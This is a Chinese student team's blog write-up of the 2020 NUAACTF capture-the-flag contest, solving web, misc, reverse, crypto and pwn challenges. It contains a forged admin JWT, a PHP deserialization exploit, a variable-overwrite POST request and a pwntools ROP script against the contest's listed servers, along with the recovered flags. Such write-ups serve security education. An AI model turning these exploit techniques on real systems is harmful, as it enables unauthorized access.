引言
吸喵喵,冲冲冲!
期待已久的 2020 NUAACTF 终于来了呀!
玩(头)耍(秃)了一个下午,整体而言感觉上难度雨露均沾,然而挺茫然的。
最后终于冲到了校内第二,感觉好棒啊!
这篇 Writeup 是由吸喵喵队共同完成的,我主要看的是 Misc、Crypto、Reverse(反正就随缘看2333),俩队友 @Noname 和 @Sophia 打 Web 和 Pwn,都挺辛苦的。
在此基础上我加了点自己的感受什么的吧。
之后复现的时候再加点东西吧(咕。
Result
上面是 不分/分 校内外 的部分榜单。
校外选手太强了啊啊啊啊!(太阔怕了嘤嘤嘤)
校内还算友好,但最后一个小时惊心动魄,排名在2-4位之间波动。
最后几分钟队友冲了一波 pwn,冲到了第二,太棒了!
比赛开始一个小时还没恰饭,那时候看了看放出来的题,马上有思路能做的都差不多了,然后就去恰了个饭。
回来到比赛结束这中间几个小时,真 的 头 秃,又困又累又无助,就是好多题看上去能做但做不出 flag 那种……顺手打开了音乐舒缓一下心情。
平台信息
部分题目环境信息:
web1 checkin:
http://139.9.221.0:8086/ 已部署web2 jwt :
http://139.9.221.0:8090/ 已部署web3 easypop
http://139.9.221.0:8088/ 已部署web4 command inj:
http://139.9.221.0:8092/ 已部署web5-escape
http://139.9.221.0:8094/ 已部署misc3-babyhttp 已部署
106.14.153.173 8443pwn1-first-pwn
49.235.243.206 10501
https://share.weiyun.com/qoaVHGg8pwn2-baby-format
49.235.243.206 10502
https://share.weiyun.com/efHNDo4Xpwn3-baby-rop
49.235.243.206 10503
https://share.weiyun.com/gwHWgyprpwn4-easy-heap
49.235.243.206 10504
https://share.weiyun.com/uh36Y68jpwn5-easy-format
49.235.243.206 10505
https://share.weiyun.com/0zDGYyYwpwn6-baby-shellcode
49.235.243.206 10506
https://share.weiyun.com/HLUP79Fs
官方源码 GitHub 仓库在这里。
Web
web1-checkin
看源码直接出flag
BTW,这个图我最早是在以前的五四评优网站上看到的,现在那个系统已经不再使用了。那时候正好认识了于老板哈哈哈哈。(吹一波!
web2-jwt
通过工具 c-jwt-crack 得到 key
key:NuAa
在线平台构造 jwt
得到 JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.SYQ-AGwY5XIcxY621ToK8zEgomHE0Bla9tAUWTLxnwA
改 jwt 登录 admin 账号即可得到flag。
耗几锅锅太强了!
web3-easypop
打开题目直接出源码
Exp:
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data;
}
echo urlencode(serialize(new lemon()));
?>
把结果直接传参给d,出flag。
Misc
misc1-假笑男孩
gay木的微笑(雾
题目都提示了假笑了,总得看到笑容嘛。
直接 PNG 改高度就完事了。
于是flag:
flag{i_want_jiamu_power}
我想要嘉木的力量!
misc2-wireshark
直接拿 wireshark 打开,找到了一个压缩包,里面有个文件内容就是 flag 呢!
nuaactf{wir2sha4k_1s_gReat}
misc3-babyhttp
你知道什么是 HTTP 吗?
(你通过一般方式是打不开网站的)
Hint: The newest.
106.14.153.173 8443
之后加的 Hint: HTTP发展史
这题看到最新的 HTTP,其实我一开始就猜是 HTTP3(QUIC)了。(果然是陆老板出的题,嘤嘤嘤
毕竟我这个博客本身就基于 CloudFlare 部署了 HTTP3,只是目前的浏览器支持还不是很好。
这题试着用 Chrome 开启 QUIC 进行访问 https://106.14.154.173:8443 ,发现被拒绝。用wireshark 抓包也没抓到有关的流量,只看到了 TCP 数据包。
中途怀疑难道是 HTTP2 的一些罕见方法?于是用 postman 把所有方法都试了一遍,全被拒绝了。
再回来重新搜了一波 HTTP3 的资料,考虑是用 curl 来连接,顺便记录一下,比如下面几个:
HTTP/3:过去,现在,还有未来 (这也是最后给的hint了)
How to Test if a Website supports HTTP/3?
How to Build and Install latest cURL version on CentOS/RHEL?
网站 HTTP3 部署测试:
然后按照上面的流程基于 Rust & quiche 来安装 curl。
Build quiche and BoringSSL:
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --release --features pkg-config-meta,qlog
mkdir deps/boringssl/lib
ln -vnf $(find target/release -name libcrypto.a -o -name libssl.a) deps/boringssl/lib/
而后 Build curl:
cd ..
git clone https://github.com/curl/curl
cd curl
./buildconf
./configure LDFLAGS="-Wl,-rpath,$PWD/../quiche/target/release" --with-ssl=$PWD/../quiche/deps/boringssl --with-quiche=$PWD/../quiche/target/release --enable-alt-svc
make
上面 build 过程中需要自行安装 cargo、CMake、Go、autoconf、libtoolize 等依赖,或者根据报错信息相应进行安装就好。(一环套一环,绝了
比如 CMake 报错找不到 Go:
sudo apt install golang
再比如报错需要 autoconf、libtoolize:
sudo apt install autoconf
sudo apt install libtoolize
然而国内出口速度不行,在本地在国内的服务器上都试了,装了几个小时 curl 到比赛结束都没装上,代码半天拉不下来。后来直接下载仓库 ZIP 再装,build 还要下载新东西???好气啊!做题的时候超想找个 curl 编译有 http3 的小伙伴。。(看来打CTF整个国外VPS来跑很有必要
安装好之后就可以试试了,比如看看版本信息。(要用 build 好的 curl)
./curl --version
这题 curl 出来是一个web题……
./curl -v https://106.14.153.173:8443 --http3
提示访问check.php
.
./curl -v https://106.14.153.173:8443/check.php --http3
得到一道题,PHP的。
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /></span><span style="color: #007700">include </span><span
style="color: #DD0000">'flag.php'</span><span style="color: #007700">;<br /></span><span
style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span
style="color: #0000BB">0</span><span style="color: #007700">);<br />if (</span><span
style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span
style="color: #DD0000">"REQUEST_METHOD"</span><span style="color: #007700">] == </span><span
style="color: #DD0000">"POST"</span><span
style="color: #007700">) {<br /> </span><span
style="color: #0000BB">extract</span><span style="color: #007700">(</span><span
style="color: #0000BB">$_POST</span><span
style="color: #007700">);<br /><br /> if (</span><span
style="color: #0000BB">$pass </span><span style="color: #007700">== </span><span
style="color: #0000BB">$newpass</span><span
style="color: #007700">) {<br /> echo </span><span
style="color: #0000BB">$flag</span><span
style="color: #007700">;<br /> }<br />}<br /></span><span
style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span
style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span>
</span>
</code>
传入两个参数pass
和newpass
,让它俩的值相等就行了。
./curl -v https://106.14.153.173:8443/check.php --http3 -d "pass=1&newpass=1"
然后得到flag:
NUAACTF{WH4T_d0_y0u_kn0w_H334}
另一种 curl 方法
想到一个方案,就是直接拉别人构建好的 docker 镜像。
找到了一个 build 有 HTTP3 的 curl docker image:ymuski/curl-http3
Docker image of
curl
compiled withBoringSSL
andquiche/0.2.0
for HTTP3 support,httpstat
for visualization.GitHub 仓库:**curl-http3**
# docker run -it --rm ymuski/curl-http3 curl -V
curl 7.71.0-DEV (x86_64-pc-linux-gnu) libcurl/7.71.0-DEV BoringSSL quiche/0.4.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS HTTP3 HTTPS-proxy IPv6 Largefile NTLM NTLM_WB SSL UnixSockets
而后直接做题就完事了。
docker run -it --rm ymuski/curl-http3 curl -Lv https://106.14.153.173:8443/check.php --http3 -d "pass=a&newpass=a"
Rev
rev1-xor
pyc 反编译(可以利用这个工具)
from flag import flag
s = 'qwertyuiopasdfghjklzxcvbnm1234567890'
for x in range(0, len(flag)):
print(ord(s[x]) ^ ord(flag[x]), ' ', **None)
哇呜,最简单的异或,直接异或回去就完事了。
Exp:
encrypted = "31 2 4 19 23 13 19 18 24 31 22 44 29 9 18 55 9 10 2 37 10 6 23 14 2 20 110 86 82 90 86 83 74"
s = 'qwertyuiopasdfghjklzxcvbnm1234567890'
m = encrypted.split(' ')
m=list(map(int,m))
print(m)
for x in range(0, len(m)):
print(chr(ord(s[x]) ^ m[x]), end="")
nuaactf{wow_you_can_really_dance}
rev2-demium
encrypt是flag用medium加密来的,尝试逆向它吧
看了看逆向,好像有点复杂。
试了一下,发现flag
和encrypt.txt
中的头4个字母对应的。于是直接借用这个程序建立一个密码映射关系就完事了。
python 写一波jio本。
Exp:
# -*- coding:utf-8 -*-
m = r"W1og39p2Kp+2_Zpx2{/yF"
s = r"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-=!@#$%^&*()_+"
e = r"oLlQfWgThE_1-ZpsUHMS+ex6K\tP{9I}Jn8C4/kmcd5yBAz0RDaVrwuGvNjqOYi===========2b"
flag = ''
for i in m:
index = e.find(i)
# print(e.find(i))
if index >= 0:
single = s[index]
# print(single)
flag += single
print(flag)
# flagDo_you_know_CLR
(exp中没有写{
}
的对应关系,问题不大
得到 flag:
flag{Do_you_know_CLR}
Crypto
Crypto1-贝斯
base64 一波完事
crypto4-RREAL_RSA
哇呜,有直接了当的 RSA!
Public key:
e=65537, n=1106081963347301781444155926534938643298217639670251381867474826890728970307
Encrypted flag:
c=681873475888907291485502809441689140305197371659486141705279050132490452420
大整数N分解得到两个质数:
6598638704725743849027686163703739789
167622749606696848477732277529837832463
本地跑了半天没跑出来,拿去 http://factordb.com/ 这里分解就好了。
计算D再解密C即可得到flag
flag{Here_Is_R4a1_Rs@}
PWN
pwn1
按刘师傅意思,果然有签到题。
直接nc就出来了
pwn3
改v2
绕过 cannary
把v2
改成 0x40
Exp:
from pwn import *
context.log_level = 'debug'
c = remote('49.235.243.206', 10503)
#c = process('./33')
#gdb.attach(c)
sysaddr = 0x004007FB
payload = ''
payload +=p64(sysaddr)
c.send('a'*0x20)
sleep(1)
c.send(p64(0x40))
sleep(1)
c.sendline(payload)
c.interactive()
小结
其实现在感觉做出来的题目还算很常规的,大都是常用的套路罢了。
毕竟是校赛,本身校内玩这个的也不多,题目的话自然相对于外面而言友好多了。
不过话说回来,这次比赛难度稍大的题目还是挺有意思的,甚至网上还没有过相关的思路,出题师傅们也挺费心血了。
有的题目有了思路,现场查了半天资料还做不出 flag 来,这时候就挺绝望的。
(还有比如为了一个题用 http3 装了几个小时 curl 到比赛结束都没装上,代码半天拉不下来气死我了
还要感谢队友一起冲呀!也算是一个小心愿实现了吧嘻嘻嘻。
可能这就是 CTF 的魅力吧。
就先这样了8,后面有空再来复现喵~
(溜了喵